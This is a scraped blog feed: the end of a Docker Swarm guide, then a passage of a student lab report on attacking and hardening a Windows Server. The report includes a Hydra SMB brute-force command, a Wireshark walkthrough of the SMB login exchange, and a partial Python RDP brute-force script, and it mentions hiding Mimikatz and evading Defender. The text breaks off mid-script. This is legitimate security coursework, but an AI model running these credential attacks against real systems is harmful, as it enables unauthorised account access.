</span></span><span style="display:flex;"><span>  <span style="color:#f92672">frontend</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">127.0.0.1</span>:<span style="color:#ae81ff">5000</span><span style="color:#ae81ff">/swarm-frontend:latest</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">build</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">context</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">./nginx</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;8080:80&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">depends_on</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">backend</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">deploy</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">replicas</span>: <span style="color:#ae81ff">2</span>
</span></span></code></pre></div><p>Now we can specify in the Compose file how many replicas we want for each container. The new addition is the <code>image</code> part, which will be explained in the next section because <code>docker stack</code> cannot build your containers directly — it requires already built images.</p>
<p>We can deploy this stack with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker stack deploy -c docker-compose.yml <span style="color:#f92672">[</span>STACK_NAME<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Like Compose, this will create a network, but this time it deploys to our swarm cluster with the specified replicas.</p>
<p>With</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker service ls
</span></span></code></pre></div><p>we can see running services, whether they are replicated, and how many replicas are currently running. Docker dynamically spins containers up or down based on demand, which can be configured.</p>
<hr>
<h3 id="creating-a-local-registry">Creating a Local Registry</h3>
<p>To clarify the <code>image</code> part mentioned above where a local registry is used: this is needed so the built images can be used by the swarm stack.</p>
<p>To create a local registry, run:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker service create --name registry --publish<span style="color:#f92672">=</span>5000:5000 registry:2
</span></span></code></pre></div><p>Now we can use the local registry with <code>localhost:5000</code> in the Compose file image tags.</p>
<p>You build images with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose build
</span></span></code></pre></div><p>and push them to the registry with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose push
</span></span></code></pre></div><p>so they can be used in the stack.</p>
<p>These are just two extra commands, but for production deployments you can set up CI/CD pipelines to do this automatically whenever you push to your git repository and update the running version without running Docker commands manually.</p>
<p>You can still run everything locally with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d
</span></span></code></pre></div><p>to test the full setup.</p>
<hr>
<h3 id="scaling-the-service">Scaling the Service</h3>
<p>To manually scale a service, you can use the command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker service scale backend<span style="color:#f92672">=</span><span style="color:#ae81ff">10</span>
</span></span></code></pre></div><p>which would spin up 10 replicas of the <code>backend</code> service distributed across your nodes.</p>
<p>You can check which containers are running on which nodes with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker stack ps <span style="color:#f92672">[</span>STACK_NAME<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>to see their state and placement.</p>
<p>You can further configure how nodes are scaled based on resources and other factors, but I will stop here. The main goal is to show the power and value of Docker and leave the rest of the learning to you. This gives you a working setup you can expand on to gain more experience.</p>
<blockquote>
<p>Note:
I changed the app to assign a random color based on the hostname so that when it is scaled up, you can visually see that different containers are handling your connections.</p></blockquote>
<p>The code for all setups is available on my GitHub <a href="https://github.com/Stefanistkuhl/goobering/tree/master/things/silly_docker_guide">here</a>.</p>
<p>Thanks for reading! :3</p>
<blockquote>
<p>TODO: Add citations to this at some point, include screenshots for examples, and add more info over time so this becomes a real blog post and not just notes for myself.</p></blockquote>
]]></content:encoded></item><item><title>Security test of Windows Server</title><link>https://0xveya.github.io/posts/itsi/year-3/exercise-9/security-test-of-windows-server/</link><pubDate>Fri, 11 Apr 2025 03:33:09 +0200</pubDate><guid>https://0xveya.github.io/posts/itsi/year-3/exercise-9/security-test-of-windows-server/</guid><description>&lt;blockquote>
&lt;p>Note: this was converted using from LaTeX to Markdown using Chat GPT 4.1 the original pdf can be found &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex9/Sicherheitstests%20von%20Windows%20Server.pdf">here&lt;/a> along with the &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex9/zotero.bib">bibliography&lt;/a>&lt;/p>&lt;/blockquote>
&lt;hr>
&lt;h1 id="testing-windows-server-security">Testing Windows server security&lt;/h1>
&lt;hr>
&lt;p>&lt;strong>Laboratory protocol&lt;/strong>&lt;br>
Exercise 9: Testing Windows server security&lt;br>
&lt;figure>
&lt;img loading="lazy" src="https://0xveya.github.io/itsi/y3/ex9/images/menthing.png"/> &lt;figcaption>
Figure: Grouplogo
&lt;/figcaption>
&lt;/figure>
&lt;strong>Subject:&lt;/strong> ITSI&lt;br>
&lt;strong>Class:&lt;/strong> 3AHITN&lt;br>
&lt;strong>Name:&lt;/strong> Stefan Fürst, Justin Tremurici&lt;br>
&lt;strong>Group Name/Number:&lt;/strong> Name here/12&lt;br>
&lt;strong>Supervisor:&lt;/strong> SPAC, ZIVK&lt;br>
&lt;strong>Exercise dates:&lt;/strong> 14.03.2025 | 21.03.2025 | 28.03.2025 | 04.04.2025&lt;br>
&lt;strong>Submission date:&lt;/strong> 11.04.2025&lt;/p>
&lt;hr>
&lt;h2 id="table-of-contents">Table of Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#task-definition">Task definition&lt;/a>&lt;/li>
&lt;li>&lt;a href="#summary">Summary&lt;/a>&lt;/li>
&lt;li>&lt;a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exercise-execution">Exercise Execution&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#setting-up-the-exercise-environment">Setting Up the Exercise Environment&lt;/a>&lt;/li>
&lt;li>&lt;a href="#brute-forcing-smb-with-hydra">Brute-Forcing SMB with Hydra&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#analyzing-network-traffic-with-wireshark">Analyzing Network Traffic with Wireshark&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#brute-forcing-rdp">Brute-Forcing RDP&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#explaining-my-own-rdp-brute-forcing-script">Explaining My Own RDP Brute-Forcing Script&lt;/a>&lt;/li>
&lt;li>&lt;a href="#analyzing-network-traffic-with-wireshark-rdp">Analyzing Network Traffic with Wireshark (RDP)&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#hardening-windows-against-brute-force-attacks">Hardening Windows Against Brute-Force Attacks&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#using-evlwatcher-for-rate-limiting">Using EvLWatcher for Rate Limiting&lt;/a>&lt;/li>
&lt;li>&lt;a href="#disabling-ntlm-authentication">Disabling NTLM Authentication&lt;/a>&lt;/li>
&lt;li>&lt;a href="#configuring-login-timeout-settings">Configuring Login Timeout Settings&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#mimikatz-an-introduction">Mimikatz: An Introduction&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#what-can-mimikatz-do">What Can Mimikatz Do?&lt;/a>&lt;/li>
&lt;li>&lt;a href="#how-to-use-mimikatz">How to Use Mimikatz&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#running-mimikatz">Running Mimikatz&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#using-polyglot-files-to-conceal-mimikatz">Using Polyglot Files to Conceal Mimikatz&lt;/a>&lt;/li>
&lt;li>&lt;a href="#dll-side-loading-to-attempt-to-bypass-windows-defender">DLL Side-Loading to Attempt to Bypass Windows Defender&lt;/a>&lt;/li>
&lt;li>&lt;a href="#how-to-detect-and-block-mimikatz">How to Detect and Block Mimikatz&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#references">References&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="task-definition">Task definition&lt;/h2>
&lt;p>This task was conducted using a combination of manual configuration and automated attack tools to evaluate the security posture of a Windows Server environment. The environment setup involved preparing both the target system and an attacker system running Kali Linux, which was equipped with tools such as Hydra for brute-force attacks and Wireshark for network traffic analysis.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>Note: this was converted using from LaTeX to Markdown using Chat GPT 4.1 the original pdf can be found <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex9/Sicherheitstests%20von%20Windows%20Server.pdf">here</a> along with the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex9/zotero.bib">bibliography</a></p></blockquote>
<hr>
<h1 id="testing-windows-server-security">Testing Windows server security</h1>
<hr>
<p><strong>Laboratory protocol</strong><br>
Exercise 9: Testing Windows server security<br>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/menthing.png"/> <figcaption>
            Figure: Grouplogo
        </figcaption>
</figure>

<strong>Subject:</strong> ITSI<br>
<strong>Class:</strong> 3AHITN<br>
<strong>Name:</strong> Stefan Fürst, Justin Tremurici<br>
<strong>Group Name/Number:</strong> Name here/12<br>
<strong>Supervisor:</strong> SPAC, ZIVK<br>
<strong>Exercise dates:</strong> 14.03.2025 | 21.03.2025 | 28.03.2025 | 04.04.2025<br>
<strong>Submission date:</strong> 11.04.2025</p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#task-definition">Task definition</a></li>
<li><a href="#summary">Summary</a></li>
<li><a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise</a></li>
<li><a href="#exercise-execution">Exercise Execution</a>
<ul>
<li><a href="#setting-up-the-exercise-environment">Setting Up the Exercise Environment</a></li>
<li><a href="#brute-forcing-smb-with-hydra">Brute-Forcing SMB with Hydra</a>
<ul>
<li><a href="#analyzing-network-traffic-with-wireshark">Analyzing Network Traffic with Wireshark</a></li>
</ul>
</li>
<li><a href="#brute-forcing-rdp">Brute-Forcing RDP</a>
<ul>
<li><a href="#explaining-my-own-rdp-brute-forcing-script">Explaining My Own RDP Brute-Forcing Script</a></li>
<li><a href="#analyzing-network-traffic-with-wireshark-rdp">Analyzing Network Traffic with Wireshark (RDP)</a></li>
</ul>
</li>
<li><a href="#hardening-windows-against-brute-force-attacks">Hardening Windows Against Brute-Force Attacks</a>
<ul>
<li><a href="#using-evlwatcher-for-rate-limiting">Using EvLWatcher for Rate Limiting</a></li>
<li><a href="#disabling-ntlm-authentication">Disabling NTLM Authentication</a></li>
<li><a href="#configuring-login-timeout-settings">Configuring Login Timeout Settings</a></li>
</ul>
</li>
<li><a href="#mimikatz-an-introduction">Mimikatz: An Introduction</a>
<ul>
<li><a href="#what-can-mimikatz-do">What Can Mimikatz Do?</a></li>
<li><a href="#how-to-use-mimikatz">How to Use Mimikatz</a></li>
</ul>
</li>
<li><a href="#running-mimikatz">Running Mimikatz</a>
<ul>
<li><a href="#using-polyglot-files-to-conceal-mimikatz">Using Polyglot Files to Conceal Mimikatz</a></li>
<li><a href="#dll-side-loading-to-attempt-to-bypass-windows-defender">DLL Side-Loading to Attempt to Bypass Windows Defender</a></li>
<li><a href="#how-to-detect-and-block-mimikatz">How to Detect and Block Mimikatz</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#references">References</a></li>
</ul>
<hr>
<h2 id="task-definition">Task definition</h2>
<p>This task was conducted using a combination of manual configuration and automated attack tools to evaluate the security posture of a Windows Server environment. The environment setup involved preparing both the target system and an attacker system running Kali Linux, which was equipped with tools such as Hydra for brute-force attacks and Wireshark for network traffic analysis.</p>
<p>Initially, the target Windows Server was configured by creating a new local user account named <code>testuser</code> with the password <code>passwort</code>. A network share was created using <code>New-SmbShare</code>, and permissions were assigned to <code>testuser</code> to grant access. Concurrently, Wireshark was deployed on either the server or an intermediary device to capture and analyze traffic related to the attacks.</p>
<p>To simulate credential-based attacks, Hydra was used to conduct brute-force attempts on the SMB protocol:</p>
<pre tabindex="0"><code>hydra -l testuser -P /path/to/passwordlist.txt smb://&lt;IP-ADDRESS&gt;
</code></pre><p>The time to successful login was measured and compared between weak (e.g., <code>passwort</code>) and strong (e.g., <code>P@ssw0rd123!</code>) password configurations. Network traffic was captured and filtered using the expression <code>tcp.port == 445</code>, enabling detailed inspection of failed and successful authentication attempts.</p>
<p>A second brute-force attack was executed against the Remote Desktop Protocol (RDP). RDP was enabled through system settings, and <code>testuser</code> was added to the <code>Remote Desktop Users</code> group. Hydra was again utilized for this. Wireshark was used to capture the RDP traffic (<code>tcp.port == 3389</code>) for comparison against the SMB-based attack. Observations highlighted protocol-level differences in how failed and successful login attempts were processed and exposed.</p>
<p>Following the attacks, two mitigation techniques were researched and implemented to harden the system. Group Policy Objects (GPOs) were configured to enforce account lockout policies and limit RDP access. These changes were validated by re-running attacks and observing reduced effectiveness due to increased security controls.</p>
<p>Additionally, privilege escalation techniques were examined using Mimikatz. Requirements for successful execution were researched, including necessary privileges and system policies. As a bonus, Mimikatz was tested on the server to extract credentials and security tokens. The analysis revealed sensitive credential information, underscoring the importance of disabling credential caching and applying strict administrative controls.</p>
<hr>
<h2 id="summary">Summary</h2>
<p>In this exercise, we used <code>Hydra</code> for brute-force attacks on various services. However, due to issues with Hydra&rsquo;s support for RDP brute-forcing, we created a custom Python script that utilized the <code>FreeRDP</code> command to perform the RDP brute-force attacks. This solution allowed us to bypass the limitations of Hydra and simulate RDP credential stuffing attacks effectively.</p>
<p>To enhance the security of the target system, we adjusted Group Policy settings, specifically disabling <code>NTLM</code> authentication and modifying account lockout policies. These changes were intended to limit the success of brute-force attacks by reducing the number of login attempts allowed.</p>
<p>We also deployed <code>EvWatcher</code> to monitor and limit attack attempts, ensuring that further malicious actions would be detected and blocked. For privilege escalation, we used <code>MSHTA</code> in combination with an MP3 file to bypass security and deploy <code>Mimikatz</code> onto the target system. To ensure <code>Mimikatz</code> could function, we disabled Windows Defender.</p>
<p><code>Mimikatz</code> is a powerful tool used to extract credentials, manipulate security tokens, and perform privilege escalation on Windows systems. It can dump plaintext passwords, password hashes, and Kerberos tickets from memory, providing an attacker with sensitive information. This exercise highlighted the importance of securing systems against such attacks by using strong policies, disabling insecure protocols like <code>NTLM</code>, and employing endpoint protection to prevent tools like <code>Mimikatz</code> from successfully exploiting the system.</p>
<hr>
<h2 id="complete-network-topology-of-the-exercise">Complete network topology of the exercise</h2>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/topo.png"/> <figcaption>
            Figure 1: Complete network topology of the exercise
        </figcaption>
</figure>

<hr>
<h2 id="exercise-execution">Exercise Execution</h2>
<h3 id="setting-up-the-exercise-environment">Setting Up the Exercise Environment</h3>
<p>To meet the initial requirements of this exercise, the script from last time was simplified to create only five test users, along with corresponding security groups. Most randomly generated elements were removed, leaving only three shares on the <code>C:</code> drive. This can be verified in the Computer Management utility under the Users, Shares, and Groups categories, as shown in the figures below.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/user.png"/> <figcaption>
            Figure 2: Verifying the creation of the users
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/groups.png"/> <figcaption>
            Figure 3: Verifying the creation of the groups
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/shares.png"/> <figcaption>
            Figure 4: Verifying the creation of the shares
        </figcaption>
</figure>
</p>
<hr>
<h3 id="brute-forcing-smb-with-hydra">Brute-Forcing SMB with Hydra</h3>
<p>Since part of the setup involved assigning weak passwords to the users, they can be easily brute-forced with Hydra using the following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>hydra -l user1 -P /usr/share/wordlists/rockyou.txt -t <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">192.168</span>.56.102 smb2 -I
</span></span></code></pre></div><p>This command consists of the <code>-l</code> flag to specify the user to target, and the <code>-P</code> flag to specify the list of passwords to use—in this case, the RockYou wordlist. Note that <code>-P</code> (uppercase) indicates a list of passwords, whereas <code>-p</code> (lowercase) is used for a single password. The <code>-t</code> flag sets the number of threads to use for the attack. <code>192.168.56.102</code> sets the target IP address, and <code>smb2</code> specifies the protocol to use. The <code>-I</code> flag tells Hydra to ignore restoring progress from an earlier session.</p>
<p>After running the command, we can see that <code>password123_</code> is not a secure password, as it gets cracked in just one second.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/hydrasmb.png"/> <figcaption>
            Figure 5: Obtaining the password for the smb share
        </figcaption>
</figure>

<hr>
<h4 id="analyzing-network-traffic-with-wireshark">Analyzing Network Traffic with Wireshark</h4>
<p>By filtering for <code>tcp.port == 445</code>, we can examine the SMB-related network traffic being sent and received, and analyze the authentication process taking place alongside it.</p>
<ul>
<li>The first SMB packet is sent using version 1 instead of version 2, despite version 2 being specified in the command. This is explained in the SMB specification <cite>Microsoft Corporation<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></cite>.</li>
</ul>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb1.png"/> <figcaption>
            Figure 6: Inspecting the first Negotiate Protocol Request
        </figcaption>
</figure>

<ul>
<li>The <code>Negotiate Protocol Request</code> informs the server of the SMB dialects (i.e., versions) the client supports, which is essentially an array of supported versions. <cite>Microsoft Community Hub<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></cite></li>
</ul>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb2.png"/> <figcaption>
            Figure 7: Viewing the Negotiate Protocol Response
        </figcaption>
</figure>

<ul>
<li>The server responds with a <code>Negotiate Protocol Response</code>, replying with the preferred SMB dialect and an array of capabilities. In this case, the server responds with the <code>SMB2 Wildcard</code>, indicating that it supports at least <code>SMB 2.1</code> or a newer version. This prompts the client to send another <code>SMB2 Negotiate Request</code> specifying the exact revision of the SMB 2 protocol to be used.</li>
</ul>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb3.png"/> <figcaption>
            Figure 8: Viewing the second Negotiate Protocol Request
        </figcaption>
</figure>

<ul>
<li>Now the client responds with its own list of supported capabilities.</li>
</ul>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb4.png"/> <figcaption>
            Figure 9: Viewing the second Negotiate Protocol Response
        </figcaption>
</figure>

<ul>
<li>
<p>The server follows up by specifying the preferred dialect from the client’s dialect array—which in this case is <code>SMB 3.1.1</code>—and additionally updates the listed capabilities based on the selected version. This version will now be used for the connection.</p>
</li>
<li>
<p>After a dialect and capabilities have been selected, a <code>Session Setup Request</code> is sent, initiating the authentication process using the GSS-API (Generic Security Service Application Program Interface). This is used alongside NTLMSSP, which stands for NT LAN Manager Security Support Provider—a binary messaging protocol developed by Microsoft to facilitate NTLM challenge-response authentication and to negotiate integrity and confidentiality options. <cite>Wikipedia<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></cite></p>
</li>
</ul>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb5.png"/> <figcaption>
            Figure 10: Viewing the Session Setup Request
        </figcaption>
</figure>

<ul>
<li>The server responds with <code>STATUS_MORE_PROCESSING_REQUIRED</code>, indicating that guest access is disabled and authentication is required to connect to this SMB share. <cite>Microsoft Docs<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></cite></li>
</ul>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb6.png"/> <figcaption>
            Figure 11: Viewing the Session Setup Response
        </figcaption>
</figure>

<ul>
<li>The client sends another <code>Session Setup Request</code> with <code>NTLMSSP_AUTH</code>, including the domain name, user name, and session key.</li>
</ul>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb7.png"/> <figcaption>
            Figure 12: Viewing the second Session Setup Request
        </figcaption>
</figure>

<ul>
<li>If the authentication fails, the server responds with <code>STATUS_LOGON_FAILURE</code>.</li>
</ul>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb8.png"/> <figcaption>
            Figure 13: Viewing the second Session Setup Response
        </figcaption>
</figure>

<ul>
<li>If the authentication succeeds, the NT Status field in the header of the <code>Session Setup Response</code> is set to <code>STATUS_SUCCESS</code>. This is followed by a <code>Tree Connect Request</code> to access a share on the server. Since I did not specify a share, Hydra defaults to the administrative share <code>$IPC</code>, which is used to communicate with programs via named pipes over the network. <cite>Windows OS Hub<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></cite></li>
</ul>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb9.png"/> <figcaption>
            Figure 14: Viewing the successful Session Setup Response
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb10.png"/> <figcaption>
            Figure 15: Viewing the Tree Connect Request
        </figcaption>
</figure>
</p>
<ul>
<li>The <code>Tree Connect Request</code> is followed by a <code>Tree Connect Response</code>, which includes an Access Mask field for the requested share, showing the permissions our user has on this share.</li>
</ul>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/smb11.png"/> <figcaption>
            Figure 16: Viewing the Tree Connect Response
        </figcaption>
</figure>

<hr>
<h3 id="brute-forcing-rdp">Brute-Forcing RDP</h3>
<p><code>RDP</code> is a proprietary protocol developed by Microsoft that allows a user to connect to another computer with a graphical interface. <cite>Wikipedia<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></cite> <cite>Microsoft Docs<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup></cite></p>
<p>However, Hydra did not detect my installation of <code>libfreerdp3</code>, so I created a custom Python RDP brute-forcing script based on the <code>xfreerdp3</code> command.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/hydranordp.png"/> <figcaption>
            Figure 17: Hydra showing that it&#39;s not compiled with freerdp support
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/freerdpnonono.png"/> <figcaption>
            Figure 18: Showing that the libfreerdp3 package is installed but not found
        </figcaption>
</figure>
</p>
<p>Using my script, I can now obtain the credentials and generate a command to connect to the server.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex9/images/rdpburteforce.png"/> <figcaption>
            Figure 19: Obtaining the credentials of the user
        </figcaption>
</figure>

<h4 id="explaining-my-own-rdp-brute-forcing-script">Explaining My Own RDP Brute-Forcing Script</h4>
<p>The script uses threading and the <code>xfreerdp3</code> command with <code>+auth-only</code> to check credentials. Here is an abstracted version:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> subprocess<span style="color:#f92672">,</span> threading<span style="color:#f92672">,</span> argparse<span style="color:#f92672">,</span> concurrent.futures
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>password_found <span style="color:#f92672">=</span> threading<span style="color:#f92672">.</span>Event()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">run_command</span>(host, user, port, password):
</span></span><span style="display:flex;"><span>    cmd <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#34;xfreerdp3&#34;</span>, <span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;/v:</span><span style="color:#e6db74">{</span>host<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">{</span>port<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;/u:</span><span style="color:#e6db74">{</span>user<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;/p:</span><span style="color:#e6db74">{</span>password<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74">&#34;+auth-only&#34;</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        result <span style="color:#f92672">=</span> subprocess<span style="color:#f92672">.</span>run(cmd, capture_output<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, text<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> result<span style="color:#f92672">.</span>returncode, result<span style="color:#f92672">.</span>stdout<span style="color:#f92672">.</span>strip(), result<span style="color:#f92672">.</span>stderr<span style="color:#f92672">.</span>strip()
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#e6db74">&#34;Error&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">worker</span>(args, passwords):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> pw <span style="color:#f92672">in</span> passwords:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> password_found<span style="color:#f92672">.</span>is_set(): <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>        code, _, _ <span style="color:#f92672">=</span> run_command(args<span style="color:#f92672">.</span>host, args<span style="color:#f92672">.</span>user, args<span style="color:#f92672">.</span>port, pw)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> code <span style="color:#f92672">==</span> <span style="color:#ae81ff">131</span>:
</span></span><span style="display:flex;"><span>            print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;SUCCESS: </span><span style="color:#e6db74">{</span>pw<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>            password_found<span style="color:#f92672">.</span>set()
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>():
</span></span><span style="display:flex;"><span>    parser <span style="color:#f92672">=</span> argparse<span style="color:#f92672">.</span>ArgumentParser()
</span></span><span style="display:flex;"><span>    parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#34;-u&#34;</span>, <span style="color:#e6db74">&#34;--user&#34;</span>, required<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># ... other arguments ...</span>
</span></span><span style="display:flex;"><span>    args <span style="color:#f92672">=</span> parser<span style="color:#f92672">.</span>parse_args()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    pwlist <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">with</span> open(args<span style="color:#f92672">.</span>Password_list) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> line <span style="color:#f92672">in</span> f:
</span></span><span style="display:flex;"><span>            pwlist<span style="color:#f92672">.</span>append(line<span style="color:#f92672">.</span>rstrip(<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> args<span style="color:#f92672">.</span>threads <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span>        worker(args, pwlist)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># ...split pwlist and run with ThreadPoolExecutor...</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">pass</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> password_found<span style="color:#f92672">.</span>is_set():
